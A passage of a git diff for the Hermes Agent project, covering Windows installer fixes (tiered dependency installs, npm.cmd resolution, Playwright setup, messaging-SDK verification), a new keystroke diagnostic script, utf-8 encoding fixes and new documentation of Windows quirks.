and extracted" - + # Initialize git repo so updates work later Push-Location $InstallDir git -c windows.appendAtomically=false init 2>$null @@ -483,10 +727,10 @@ function Install-Repository { git remote add origin $RepoUrlHttps 2>$null Pop-Location Write-Success "Git repo initialized for future updates" - + $cloneSuccess = $true } - + # Cleanup temp files Remove-Item -Force $zipPath -ErrorAction SilentlyContinue Remove-Item -Recurse -Force $extractPath -ErrorAction SilentlyContinue @@ -499,7 +743,7 @@ function Install-Repository { throw "Failed to download repository (tried git clone SSH, HTTPS, and ZIP)" } } - + # Set per-repo config (harmless if it fails) Push-Location $InstallDir git -c windows.appendAtomically=false config windows.appendAtomically false 2>$null @@ -513,7 +757,7 @@ function Install-Repository { Write-Success "Submodules ready" } Pop-Location - + Write-Success "Repository ready" } @@ -550,26 +794,78 @@ function Install-Dependencies { $env:VIRTUAL_ENV = "$InstallDir\venv" } - # Install main package with all extras - try { - & $UvCmd pip install -e ".[all]" 2>&1 | Out-Null - } catch { - & $UvCmd pip install -e "." | Out-Null + # Install main package. Tiered fallback so a single flaky git+https dep + # (atroposlib / tinker in the [rl] extra) doesn't silently drop + # dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is + # preserved — no Out-Null swallowing — so the user can see what failed. + # + # Tier 1: [all] — everything, including RL git+https deps (best case). + # Tier 2: [core-extras] synthesised locally — all PyPI-only extras we + # ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp, + # pty, homeassistant, sms, tts-premium, honcho, google, mistral, + # bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl] + # and [matrix] (linux-only) which are the usual failure culprits. + # Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly + # believe a user expects `hermes dashboard` / slash commands / + # cron / messaging platforms to work out of the box. + # Tier 4: bare `.` — last-resort so at least the core CLI launches. + $installTiers = @( + @{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" }, + @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" }, + @{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" }, + @{ Name = "core only (no extras)"; Spec = "." } + ) + $installed = $false + foreach ($tier in $installTiers) { + Write-Info "Trying tier: $($tier.Name) ..." + & $UvCmd pip install -e $tier.Spec + if ($LASTEXITCODE -eq 0) { + Write-Success "Main package installed ($($tier.Name))" + $script:InstalledTier = $tier.Name + $installed = $true + break + } + Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..." + } + if (-not $installed) { + throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above." + } + + # Verify the dashboard deps specifically — they're the most common thing + # users hit and lazy-import errors from `hermes dashboard` are confusing. + # If tier 1 failed (the common case), [web] was still picked up by tiers + # 2-3; only tier 4 leaves you without it. + $pythonExe = if (-not $NoVenv) { "$InstallDir\venv\Scripts\python.exe" } else { (& $UvCmd python find $PythonVersion) } + if (Test-Path $pythonExe) { + $webOk = $false + try { + & $pythonExe -c "import fastapi, uvicorn" 2>&1 | Out-Null + if ($LASTEXITCODE -eq 0) { $webOk = $true } + } catch { } + if (-not $webOk) { + Write-Warn "fastapi/uvicorn not importable — `hermes dashboard` will not work." + Write-Info "Attempting targeted install of [web] extra as last resort..." + & $UvCmd pip install -e ".[web]" + if ($LASTEXITCODE -eq 0) { + Write-Success "[web] extra installed; `hermes dashboard` should now work." + } else { + Write-Warn "Could not install [web] extra. Run manually: uv pip install --python `"$pythonExe`" `"fastapi>=0.104,<1`" `"uvicorn[standard]>=0.24,<1`"" + } + } } - Write-Success "Main package installed" - - # Install optional submodules - Write-Info "Installing tinker-atropos (RL training backend)..." + # tinker-atropos (RL training) is optional and OFF by default. Matches the + # Linux/macOS install.sh behavior. Reasons not to auto-install: + # - tinker-atropos/pyproject.toml pulls atroposlib + tinker from git+https + # (NousResearch/atropos + thinking-machines-lab/tinker) which can fail on + # locked-down networks, flaky DNS, or rate-limited github.com and would + # previously kill the whole install mid-flight on Windows. + # - It's an RL training submodule, not part of the default agent surface. + # Users who don't do RL training never need it. + # Users who do want it can run the one-liner we print below. if (Test-Path "tinker-atropos\pyproject.toml") { - try { - & $UvCmd pip install -e ".\tinker-atropos" 2>&1 | Out-Null - Write-Success "tinker-atropos installed" - } catch { - Write-Warn "tinker-atropos install failed (RL tools may not work)" - } - } else { - Write-Warn "tinker-atropos not found (run: git submodule update --init)" + Write-Info "tinker-atropos submodule found — skipping install (optional, for RL training)" + Write-Info " To install later: $UvCmd pip install -e `".\tinker-atropos`"" } Pop-Location @@ -659,13 +955,21 @@ function Copy-ConfigTemplates { Write-Info "~/.hermes/config.yaml already exists, keeping it" } - # Create SOUL.md if it doesn't exist (global persona file) + # Create SOUL.md if it doesn't exist (global persona file). + # IMPORTANT: write without a BOM. Windows PowerShell 5.1's + # ``Set-Content -Encoding UTF8`` writes UTF-8 WITH a byte-order-mark + # (the default PS5 behaviour), and Hermes's prompt-injection scanner + # flags the BOM as an invisible unicode character and refuses to + # load the file. PS7's ``-Encoding utf8NoBOM`` fixes that but we + # don't control which PowerShell version the user has. Go direct + # to .NET with an explicit UTF8Encoding($false) — BOM-free on every + # PowerShell version. $soulPath = "$HermesHome\SOUL.md" if (-not (Test-Path $soulPath)) { - @" + $soulContent = @" # Hermes Agent Persona - -"@ | Set-Content -Path $soulPath -Encoding UTF8 +"@ + $utf8NoBom = New-Object System.Text.UTF8Encoding($false) + [System.IO.File]::WriteAllText($soulPath, $soulContent, $utf8NoBom) Write-Success "Created ~/.hermes/SOUL.md (edit to customize personality)" } @@ -708,36 +1014,260 @@ function Install-NodeDeps { Write-Info "Skipping Node.js dependencies (Node not installed)" return } - - Push-Location $InstallDir - - if (Test-Path "package.json") { - Write-Info "Installing Node.js dependencies (browser tools)..." - try { - npm install --silent 2>&1 | Out-Null - Write-Success "Node.js dependencies installed" - } catch { - Write-Warn "npm install failed (browser tools may not work)" + + # Resolve npm explicitly to npm.cmd, NOT npm.ps1. Node.js on Windows + # ships BOTH npm.cmd (a batch shim) and npm.ps1 (a PowerShell shim). + # Get-Command's default ordering picks whichever comes first in PATHEXT, + # and on many systems that's .ps1 — but .ps1 requires scripts to be + # enabled in PowerShell's execution policy, which most Windows users + # don't have (the Restricted / RemoteSigned default blocks unsigned + # .ps1 files). .cmd has no such restriction and works on every box. + # + # Strategy: look next to the npm shim we found and prefer npm.cmd if + # it exists in the same directory. Fall back to whatever Get-Command + # returned if we can't find a .cmd sibling. + $npmCmd = Get-Command npm -ErrorAction SilentlyContinue + if (-not $npmCmd) { + Write-Warn "npm not found on PATH — skipping Node.js dependencies." + Write-Info "Open a new PowerShell window and re-run 'hermes setup tools' later." + return + } + $npmExe = $npmCmd.Source + if ($npmExe -like "*.ps1") { + $npmCmdSibling = Join-Path (Split-Path $npmExe -Parent) "npm.cmd" + if (Test-Path $npmCmdSibling) { + Write-Info "Using npm.cmd (PowerShell execution policy blocks npm.ps1)" + $npmExe = $npmCmdSibling + } else { + Write-Warn "Only npm.ps1 available — install may fail if script execution is disabled." + Write-Info " If it fails, either enable PS script execution or install Node via winget." } } - - # Install TUI dependencies + + # Helper: run "npm install" in a given directory and surface the real + # error when it fails. Returns $true on success. + # + # Implementation note: ``Start-Process -FilePath npm.cmd`` fails with + # ``%1 is not a valid Win32 application`` on some PowerShell versions + # because Start-Process bypasses cmd.exe / PATHEXT and expects a real + # PE file. The invocation-operator ``& $npmExe`` routes through the + # PowerShell command pipeline which DOES honour .cmd batch shims, so + # it works uniformly for npm.cmd, npx.cmd, and bare .exe files. + function _Run-NpmInstall([string]$label, [string]$installDir, [string]$logPath, [string]$npmPath) { + Push-Location $installDir + try { + # Redirect ALL output streams to the log file via 2>&1 and then + # ``Tee-Object`` / ``Out-File``. Simpler approach: call npm + # with output redirected and inspect $LASTEXITCODE afterwards. + & $npmPath install --silent *> $logPath + $code = $LASTEXITCODE + if ($code -eq 0) { + Write-Success "$label dependencies installed" + Remove-Item -Force $logPath -ErrorAction SilentlyContinue + return $true + } + Write-Warn "$label npm install failed — exit code $code" + if (Test-Path $logPath) { + $errText = (Get-Content $logPath -Raw -ErrorAction SilentlyContinue) + if ($errText) { + $snippet = if ($errText.Length -gt 1200) { $errText.Substring(0, 1200) + "..." } else { $errText } + Write-Info " npm output:" + foreach ($line in $snippet -split "`n") { + Write-Host " $line" -ForegroundColor DarkGray + } + Write-Info " Full log: $logPath" + } + } + Write-Info "Run manually later: cd `"$installDir`"; npm install" + return $false + } catch { + Write-Warn "$label npm install could not be launched: $_" + return $false + } finally { + Pop-Location + } + } + + # Browser tools + if (Test-Path "$InstallDir\package.json") { + Write-Info "Installing Node.js dependencies (browser tools)..." + $browserLog = "$env:TEMP\hermes-npm-browser-$(Get-Random).log" + $browserNpmOk = _Run-NpmInstall "Browser tools" $InstallDir $browserLog $npmExe + + # Install Playwright Chromium (mirrors scripts/install.sh behaviour for + # Linux). Without this, tools/browser_tool.py::check_browser_requirements + # returns False (no Chromium under %LOCALAPPDATA%\ms-playwright), and the + # browser_* tools are silently filtered out of the agent's tool schema. + # System Chrome at "C:\Program Files\Google\Chrome\..." is NOT used by + # agent-browser — it expects a Playwright-managed Chromium. + if ($browserNpmOk) { + Write-Info "Installing browser engine (Playwright Chromium)..." + # npx lives next to npm in the same bin dir. Prefer .cmd to dodge + # the same execution-policy gotcha that affects npm.ps1 (see above). + $npmDir = Split-Path $npmExe -Parent + $npxExe = $null + foreach ($cand in @("npx.cmd", "npx.exe", "npx")) { + $try = Join-Path $npmDir $cand + if (Test-Path $try) { $npxExe = $try; break } + } + if (-not $npxExe) { + $npxCmd = Get-Command npx -ErrorAction SilentlyContinue + if ($npxCmd) { $npxExe = $npxCmd.Source } + } + if (-not $npxExe) { + Write-Warn "npx not found — cannot install Playwright Chromium." + Write-Info "Run manually later: cd `"$InstallDir`"; npx playwright install chromium" + } else { + $pwLog = "$env:TEMP\hermes-playwright-install-$(Get-Random).log" + Push-Location $InstallDir + try { + & $npxExe playwright install chromium *> $pwLog + $pwCode = $LASTEXITCODE + if ($pwCode -eq 0) { + Write-Success "Playwright Chromium installed (browser tools ready)" + Remove-Item -Force $pwLog -ErrorAction SilentlyContinue + } else { + Write-Warn "Playwright Chromium install failed — exit code $pwCode" + Write-Warn "Browser tools will not work until Chromium is installed." + if (Test-Path $pwLog) { + $pwErr = Get-Content $pwLog -Raw -ErrorAction SilentlyContinue + if ($pwErr) { + $snippet = if ($pwErr.Length -gt 1200) { $pwErr.Substring(0, 1200) + "..." } else { $pwErr } + Write-Info " playwright output:" + foreach ($line in $snippet -split "`n") { + Write-Host " $line" -ForegroundColor DarkGray + } + Write-Info " Full log: $pwLog" + } + } + Write-Info "Run manually later: cd `"$InstallDir`"; npx playwright install chromium" + } + } catch { + Write-Warn "Playwright Chromium install could not be launched: $_" + Write-Info "Run manually later: cd `"$InstallDir`"; npx playwright install chromium" + } finally { + Pop-Location + } + } + } + } + + # TUI $tuiDir = "$InstallDir\ui-tui" if (Test-Path "$tuiDir\package.json") { Write-Info "Installing TUI dependencies..." - Push-Location $tuiDir - try { - npm install --silent 2>&1 | Out-Null - Write-Success "TUI dependencies installed" - } catch { - Write-Warn "TUI npm install failed (hermes --tui may not work)" - } - Pop-Location + $tuiLog = "$env:TEMP\hermes-npm-tui-$(Get-Random).log" + [void](_Run-NpmInstall "TUI" $tuiDir $tuiLog $npmExe) + } +} + +function Install-PlatformSdks { + # Ensure messaging-platform SDKs matching tokens the user added to + # ~/.hermes/.env are importable. Two problems this solves: + # + # 1. The tiered `uv pip install` cascade above can fall through to a + # lower tier when the first fails (common when RL git deps choke), + # which silently skips some messaging SDKs from [messaging]. + # 2. `uv` creates the venv without pip. If a messaging SDK ends up + # missing, the user can't `pip install python-telegram-bot` to + # recover — pip simply isn't in their venv. + # + # Strategy: bootstrap pip via `python -m ensurepip` (idempotent), then + # for each token set in .env, verify the matching SDK imports. If not, + # run one targeted `pip install` as last-chance recovery. Keeps fresh + # Windows installs from hitting silent "python-telegram-bot not installed" + # at runtime. + if ($NoVenv) { + Write-Info "Skipping platform-SDK verification (-NoVenv: no venv to bootstrap)" + return } + $pythonExe = "$InstallDir\venv\Scripts\python.exe" + if (-not (Test-Path $pythonExe)) { + Write-Warn "Skipping platform-SDK verification: $pythonExe not found" + return + } - - Pop-Location + $envPath = "$HermesHome\.env" + if (-not (Test-Path $envPath)) { return } + $envLines = Get-Content $envPath -ErrorAction SilentlyContinue + + # Map: env var set in .env -> (import name, pip spec matching [messaging] extra). + # Specs mirror pyproject.toml to avoid version drift. + $sdkMap = @( + @{ Var = "TELEGRAM_BOT_TOKEN"; Import = "telegram"; Spec = "python-telegram-bot[webhooks]>=22.6,<23" }, + @{ Var = "DISCORD_BOT_TOKEN"; Import = "discord"; Spec = "discord.py[voice]>=2.7.1,<3" }, + @{ Var = "SLACK_BOT_TOKEN"; Import = "slack_sdk"; Spec = "slack-sdk>=3.27.0,<4" }, + @{ Var = "SLACK_APP_TOKEN"; Import = "slack_bolt";Spec = "slack-bolt>=1.18.0,<2" }, + @{ Var = "WHATSAPP_ENABLED"; Import = "qrcode"; Spec = "qrcode>=7.0,<8" } + ) + + # Which tokens are actually set (not placeholder)? + $needed = @() + foreach ($sdk in $sdkMap) { + $match = $envLines | Where-Object { + $_ -match ("^" + [regex]::Escape($sdk.Var) + "=.+") ` + -and $_ -notmatch "your-token-here" ` + -and $_ -notmatch "^\s*#" + } + if ($match) { $needed += $sdk } + } + if ($needed.Count -eq 0) { return } + + Write-Host "" + Write-Info "Verifying platform SDKs for tokens found in $envPath ..." + + # Verify each SDK's import without triggering side-effect imports. + # Quirk: PowerShell wraps non-zero-exit native stderr as a + # NativeCommandError that prints even with `2>$null` / `*> $null` + # unless we set $ErrorActionPreference to SilentlyContinue for the + # span. Save + restore rather than nuking globally. + $prevEAP = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + try { + $missing = @() + foreach ($sdk in $needed) { + & $pythonExe -c "import $($sdk.Import)" 2>&1 | Out-Null + if ($LASTEXITCODE -ne 0) { + $missing += $sdk + Write-Warn " $($sdk.Import) NOT importable (needed for $($sdk.Var))" + } else { + Write-Success " $($sdk.Import) OK" + } + } + } finally { + $ErrorActionPreference = $prevEAP + } + if ($missing.Count -eq 0) { return } + + # Bootstrap pip into the venv if it isn't there. `uv` creates venvs + # without pip; ensurepip is the stdlib-blessed way to add it. + $prevEAP = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + try { + & $pythonExe -m pip --version 2>&1 | Out-Null + if ($LASTEXITCODE -ne 0) { + Write-Info "Bootstrapping pip into venv (uv doesn't ship pip)..." + & $pythonExe -m ensurepip --upgrade 2>&1 | Out-Null + if ($LASTEXITCODE -ne 0) { + Write-Warn "ensurepip failed — can't auto-install missing SDKs." + Write-Info "Manual recovery: $UvCmd pip install `"$($missing[0].Spec)`"" + return + } + } + + foreach ($sdk in $missing) { + Write-Info " Installing $($sdk.Spec) ..." + & $pythonExe -m pip install $sdk.Spec 2>&1 | ForEach-Object { Write-Host " $_" } + if ($LASTEXITCODE -eq 0) { + Write-Success " Installed $($sdk.Import)" + } else { + Write-Warn " Failed to install $($sdk.Spec). Recover manually: $pythonExe -m pip install `"$($sdk.Spec)`"" + } + } + } finally { + $ErrorActionPreference = $prevEAP + } } function Invoke-SetupWizard { @@ -886,13 +1416,35 @@ function Write-Completion { function Main { Write-Banner - + + # Windows refuses to delete a directory any shell is currently cd'd + # inside — and silently leaves orphan files behind, which then wedge + # "is this a valid git repo" probes on re-install. If the current + # working dir is under $InstallDir, step out to the user's home + # BEFORE doing anything else. Harmless when the user ran the + # installer from somewhere else. + try { + $currentResolved = (Get-Location).ProviderPath + $installResolved = $null + if (Test-Path $InstallDir) { + $installResolved = (Resolve-Path $InstallDir -ErrorAction SilentlyContinue).ProviderPath + } + if ($installResolved -and $currentResolved.ToLower().StartsWith($installResolved.ToLower())) { + Write-Info "Stepping out of $InstallDir so Windows can replace files there if needed..." + Set-Location $env:USERPROFILE + } + } catch {} + if (-not (Install-Uv)) { throw "uv installation failed — cannot continue" } if (-not (Test-Python)) { throw "Python $PythonVersion not available — cannot continue" } - if (-not (Test-Git)) { throw "Git not found — install from https://git-scm.com/download/win" } - Test-Node # Auto-installs if missing + if (-not (Install-Git)) { throw "Git not available and auto-install failed — install from https://git-scm.com/download/win then re-run" } + # Test-Node always returns $true (sets $script:HasNode on success, emits a + # warning on failure and continues so non-browser installs still work). + # Cast to [void] so the bare return value doesn't print "True" to the + # console between the "Node found" line and the next installer step. + [void](Test-Node) Install-SystemPackages # ripgrep + ffmpeg in one step - + Install-Repository Install-Venv Install-Dependencies @@ -900,8 +1452,9 @@ function Main { Set-PathVariable Copy-ConfigTemplates Invoke-SetupWizard + Install-PlatformSdks Start-GatewayIfConfigured - + Write-Completion } diff --git a/scripts/keystroke_diagnostic.py b/scripts/keystroke_diagnostic.py new file mode 100644 index 00000000000..13452d2214f --- /dev/null +++ b/scripts/keystroke_diagnostic.py @@ -0,0 +1,81 @@ +#!/usr/bin/env python3 +"""Diagnose how prompt_toolkit identifies keystrokes in the current terminal. + +Useful when adding a keybinding to Hermes (or any prompt_toolkit app) and you +need to know what the terminal actually delivers — particularly on Windows, +where terminals can collapse, intercept, or silently remap key combinations. + +Usage: + # POSIX + python scripts/keystroke_diagnostic.py + + # Windows (PowerShell / git-bash / cmd) + python scripts\\keystroke_diagnostic.py + +Press the key combinations you care about. Each keystroke prints the +prompt_toolkit `Keys.*` identifier and the raw escape bytes the terminal +sent. The last 20 keystrokes stay on screen. Ctrl+Q or Ctrl+C to quit. + +Common questions this answers: + - Does my terminal distinguish Ctrl+Enter from plain Enter? + (On Windows Terminal: yes, Ctrl+Enter → c-j, Enter → c-m.) + - Does Alt+Enter reach the app, or does the terminal eat it? + (Windows Terminal eats it for fullscreen; mintty may too.) + - Does Shift+Enter register as a separate key? + (Almost never — most terminals collapse it to Enter.) + - What byte sequence does Home/End/PageUp/etc. produce? + +Example output for Ctrl+Enter on Windows Terminal + PowerShell: + key= data='\\n' + +Then in Hermes, bind the newline behaviour to that key: + @kb.add('c-j') + def handle_ctrl_enter(event): + event.current_buffer.insert_text('\\n') +""" +from prompt_toolkit import Application +from prompt_toolkit.key_binding import KeyBindings +from prompt_toolkit.layout import Layout +from prompt_toolkit.layout.containers import Window +from prompt_toolkit.layout.controls import FormattedTextControl + + +_HISTORY: list[str] = [] + + +def _header() -> list[str]: + return [ + "Keystroke diagnostic — press keys to see how prompt_toolkit sees them.", + "Try: Enter, Ctrl+Enter, Shift+Enter, Alt+Enter, Ctrl+J, Ctrl+M, arrows, Home/End.", + "Ctrl+Q or Ctrl+C to quit. Last 20 keystrokes shown.", + "", + ] + + +def _render_text() -> str: + return "\n".join(_header() + _HISTORY[-20:]) + + +def main() -> None: + kb = KeyBindings() + + @kb.add("") + def _on_any(event): # noqa: ANN001 — prompt_toolkit event type + parts = [] + for kp in event.key_sequence: + parts.append(f"key={kp.key!r} data={kp.data!r}") + _HISTORY.append(" | ".join(parts)) + event.app.invalidate() + + @kb.add("c-q") + @kb.add("c-c") + def _quit(event): # noqa: ANN001 + event.app.exit() + + control = FormattedTextControl(text=_render_text) + layout = Layout(Window(content=control)) + Application(layout=layout, key_bindings=kb, full_screen=False).run() + + +if __name__ == "__main__": + main() diff --git a/scripts/profile-tui.py b/scripts/profile-tui.py index 87b2d6c1d5d..edbdf2ee453 100755 --- a/scripts/profile-tui.py +++ b/scripts/profile-tui.py @@ -111,7 +111,7 @@ def summarize(log: Path, since_ts_ms: int) -> dict[str, Any]: frame_events: list[dict[str, Any]] = [] if not log.exists(): return {"error": f"no log at {log}", "react": [], "frame": []} - for line in log.read_text().splitlines(): + for line in log.read_text(encoding="utf-8").splitlines(): line = line.strip() if not line: continue @@ -457,7 +457,7 @@ def run_once(args: argparse.Namespace) -> dict[str, Any]: break time.sleep(0.1) else: - os.kill(pid, signal.SIGKILL) + os.kill(pid, signal.SIGKILL) # windows-footgun: ok — POSIX-only script (imports pty at top) os.waitpid(pid, 0) except (ProcessLookupError, ChildProcessError): pass @@ -505,7 +505,7 @@ def main() -> int: if args.save: path = Path(f"/tmp/perf-{args.save}.json") - path.write_text(json.dumps(metrics, indent=2)) + path.write_text(json.dumps(metrics, indent=2), encoding="utf-8") print(f"\n• saved: {path}") if args.compare: diff --git a/scripts/release.py b/scripts/release.py index 592a4e4de02..d6051286f39 100755 --- a/scripts/release.py +++ b/scripts/release.py @@ -53,10 +53,12 @@ AUTHOR_MAP = { "harish.kukreja@gmail.com": "counterposition", "cleo@edaphic.xyz": "curiouscleo", "hirokazu.ogawa@kwansei.ac.jp": "hrkzogw", + "datapod.k@gmail.com": "dandacompany", "127238744+teknium1@users.noreply.github.com": "teknium1", "128259593+Gutslabs@users.noreply.github.com": "Gutslabs", "50326054+nocturnum91@users.noreply.github.com": "nocturnum91", "223003280+Abd0r@users.noreply.github.com": "Abd0r", + "ra2157218@gmail.com": "Abd0r", "abdielv@proton.me": "AJV20", "mason@growagainorchids.com": "masonjames", "ytchen0719@gmail.com": "liquidchen", @@ -1365,7 +1367,7 @@ def main(): ) if args.output: - Path(args.output).write_text(changelog) + Path(args.output).write_text(changelog, encoding="utf-8") print(f"Changelog written to {args.output}") else: print(changelog) diff --git a/skills/autonomous-ai-agents/claude-code/SKILL.md b/skills/autonomous-ai-agents/claude-code/SKILL.md index cf7692cd57d..57f5147b7c8 100644 --- a/skills/autonomous-ai-agents/claude-code/SKILL.md +++ b/skills/autonomous-ai-agents/claude-code/SKILL.md @@ -4,6 +4,7 @@ description: "Delegate coding to Claude Code CLI (features, PRs)." version: 2.2.0 author: Hermes Agent + Teknium license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Coding-Agent, Claude, Anthropic, Code-Review, Refactoring, PTY, Automation] diff --git a/skills/autonomous-ai-agents/codex/SKILL.md b/skills/autonomous-ai-agents/codex/SKILL.md index 40107ed8fd6..a796852b754 100644 --- a/skills/autonomous-ai-agents/codex/SKILL.md +++ b/skills/autonomous-ai-agents/codex/SKILL.md @@ -4,6 +4,7 @@ description: "Delegate coding to OpenAI Codex CLI (features, PRs)." version: 1.0.0 author: Hermes Agent license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [Coding-Agent, Codex, OpenAI, Code-Review, Refactoring] diff --git a/skills/autonomous-ai-agents/hermes-agent/SKILL.md b/skills/autonomous-ai-agents/hermes-agent/SKILL.md index f9670c9ad88..3a610642f85 100644 --- a/skills/autonomous-ai-agents/hermes-agent/SKILL.md +++ b/skills/autonomous-ai-agents/hermes-agent/SKILL.md @@ -4,6 +4,7 @@ description: "Configure, extend, or contribute to Hermes Agent." version: 2.1.0 author: Hermes Agent + Teknium license: MIT +platforms: [linux, macos, windows] metadata: hermes: tags: [hermes, setup, configuration, multi-agent, spawning, cli, gateway, development] @@ -700,6 +701,96 @@ User docs: https://hermes-agent.nousresearch.com/docs/user-guide/features/kanban --- +## Windows-Specific Quirks + +Hermes runs natively on Windows (PowerShell, cmd, Windows Terminal, git-bash +mintty, VS Code integrated terminal). Most of it just works, but a handful +of differences between Win32 and POSIX have bitten us — document new ones +here as you hit them so the next person (or the next session) doesn't +rediscover them from scratch. + +### Input / Keybindings + +**Alt+Enter doesn't insert a newline.** Windows Terminal intercepts Alt+Enter +at the terminal layer to toggle fullscreen — the keystroke never reaches +prompt_toolkit. Use **Ctrl+Enter** instead. Windows Terminal delivers +Ctrl+Enter as LF (`c-j`), distinct from plain Enter (`c-m` / CR), and the +CLI binds `c-j` to newline insertion on `win32` only (see +`_bind_prompt_submit_keys` + the Windows-only `c-j` binding in `cli.py`). +Side effect: the raw Ctrl+J keystroke also inserts a newline on Windows — +unavoidable, because Windows Terminal collapses Ctrl+Enter and Ctrl+J to +the same keycode at the Win32 console API layer. No conflicting binding +existed for Ctrl+J on Windows, so this is a harmless side effect. + +mintty / git-bash behaves the same (fullscreen on Alt+Enter) unless you +disable Alt+Fn shortcuts in Options → Keys. Easier to just use Ctrl+Enter. + +**Diagnosing keybindings.** Run `python scripts/keystroke_diagnostic.py` +(repo root) to see exactly how prompt_toolkit identifies each keystroke +in the current terminal. Answers questions like "does Shift+Enter come +through as a distinct key?" (almost never — most terminals collapse it +to plain Enter) or "what byte sequence is my terminal sending for +Ctrl+Enter?" This is how the Ctrl+Enter = c-j fact was established. + +### Config / Files + +**HTTP 400 "No models provided" on first run.** `config.yaml` was saved +with a UTF-8 BOM (common when Windows apps write it). Re-save as UTF-8 +without BOM. `hermes config edit` writes without BOM; manual edits in +Notepad are the usual culprit. + +### `execute_code` / Sandbox + +**WinError 10106** ("The requested service provider could not be loaded +or initialized") from the sandbox child process — it can't create an +`AF_INET` socket, so the loopback-TCP RPC fallback fails before +`connect()`. Root cause is usually **not** a broken Winsock LSP; it's +Hermes's own env scrubber dropping `SYSTEMROOT` / `WINDIR` / `COMSPEC` +from the child env. Python's `socket` module needs `SYSTEMROOT` to locate +`mswsock.dll`. Fixed via the `_WINDOWS_ESSENTIAL_ENV_VARS` allowlist in +`tools/code_execution_tool.py`. If you still hit it, echo `os.environ` +inside an `execute_code` block to confirm `SYSTEMROOT` is set. Full +diagnostic recipe in `references/execute-code-sandbox-env-windows.md`. + +### Testing / Contributing + +**`scripts/run_tests.sh` doesn't work as-is on Windows** — it looks for +POSIX venv layouts (`.venv/bin/activate`). The Hermes-installed venv at +`venv/Scripts/` has no pip or pytest either (stripped for install size). +Workaround: install `pytest + pytest-xdist + pyyaml` into a system Python +3.11 user site, then invoke pytest directly with `PYTHONPATH` set: + +```bash +"/c/Program Files/Python311/python" -m pip install --user pytest pytest-xdist pyyaml +export PYTHONPATH="$(pwd)" +"/c/Program Files/Python311/python" -m pytest tests/foo/test_bar.py -v --tb=short -n 0 +``` + +Use `-n 0`, not `-n 4` — `pyproject.toml`'s default `addopts` already +includes `-n`, and the wrapper's CI-parity guarantees don't apply off POSIX. + +**POSIX-only tests need skip guards.** Common markers already in the codebase: +- Symlinks — elevated privileges on Windows +- `0o600` file modes — POSIX mode bits not enforced on NTFS by default +- `signal.SIGALRM` — Unix-only (see `tests/conftest.py::_enforce_test_timeout`) +- Winsock / Windows-specific regressions — `@pytest.mark.skipif(sys.platform != "win32", ...)` + +Use the existing skip-pattern style (`sys.platform == "win32"` or +`sys.platform.startswith("win")`) to stay consistent with the rest of the +suite. + +### Path / Filesystem + +**Line endings.** Git may warn `LF will be replaced by CRLF the next time +Git touches it`. Cosmetic — the repo's `.gitattributes` normalizes. Don't +let editors auto-convert committed POSIX-newline files to CRLF. + +**Forward slashes work almost everywhere.** `C:/Users/...` is accepted by +every Hermes tool and most Windows APIs. Prefer forward slashes in code +and logs — avoids shell-escaping backslashes in bash. + +--- + ## Troubleshooting ### Voice not working @@ -742,7 +833,7 @@ Common gateway problems: ### Platform-specific issues - **Discord bot silent**: Must enable **Message Content Intent** in Bot → Privileged Gateway Intents. - **Slack bot only works in DMs**: Must subscribe to `message.channels` event. Without it, the bot ignores public channels. -- **Windows HTTP 400 "No models provided"**: Config file encoding issue (BOM). Ensure `config.yaml` is saved as UTF-8 without BOM. +- **Windows-specific issues** (`Alt+Enter` newline, WinError 10106, UTF-8 BOM config, test suite, line endings): see the dedicated **Windows-Specific Quirks** section above. ### Auxiliary models not working If `auxiliary` tasks (vision, compression, session_search) fail silently, the `auto` provider can't find a backend. Either set `OPENROUTER_API_KEY` or `GOOGLE_API_KEY`, or explicitly configure each auxiliary task's provider: @@ -865,6 +956,44 @@ python -m pytest tests/tools/ -q # Specific area - Run full suite before pushing any change - Use `-o 'addopts='` to clear any baked-in pytest flags +**Windows contributors:** `scripts/run_tests.sh` currently looks for POSIX venvs (`.venv/bin/activate` / `venv/bin/activate`) and will error out on Windows where the layout is `venv/Scripts/activate` + `python.exe`. The Hermes-installed venv at `venv/Scripts/` also has no `pip` or `pytest` — it's stripped for end-user install size. Workaround: install pytest + pytest-xdist + pyyaml into a system Python 3.11 user site (`/c/Program Files/Python311/python -m pip install --user pytest pytest-xdist pyyaml`), then run tests directly: + +```bash +export PYTHONPATH="$(pwd)" +"/c/Program Files/Python311/python" -m pytest tests/tools/test_foo.py -v --tb=short -n 0 +``` + +Use `-n 0` (not `-n 4`) because `pyproject.toml`'s default `addopts` already includes `-n`, and the wrapper's CI-parity story doesn't apply off-POSIX. + +**Cross-platform test guards:** tests that use POSIX-only syscalls need a skip marker. Common ones already in the codebase: +- Symlink creation → `@pytest.mark.skipif(sys.platform == "win32", reason="Symlinks require elevated privileges on Windows")` (see `tests/cron/test_cron_script.py`) +- POSIX file modes (0o600, etc.) → `@pytest.mark.skipif(sys.platform.startswith("win"), reason="POSIX mode bits not enforced on Windows")` (see `tests/hermes_cli/test_auth_toctou_file_modes.py`) +- `signal.SIGALRM` → Unix-only (see `tests/conftest.py::_enforce_test_timeout`) +- Live Winsock / Windows-specific regression tests → `@pytest.mark.skipif(sys.platform != "win32", reason="Windows-specific regression")` + +**Monkeypatching `sys.platform` is not enough** when the code under test also calls `platform.system()` / `platform.release()` / `platform.mac_ver()`. Those functions re-read the real OS independently, so a test that sets `sys.platform = "linux"` on a Windows runner will still see `platform.system() == "Windows"` and route through the Windows branch. Patch all three together: + +```python +monkeypatch.setattr(sys, "platform", "linux") +monkeypatch.setattr(platform, "system", lambda: "Linux") +monkeypatch.setattr(platform, "release", lambda: "6.8.0-generic") +``` + +See `tests/agent/test_prompt_builder.py::TestEnvironmentHints` for a worked example. + +### Extending the system prompt's execution-environment block + +Factual guidance 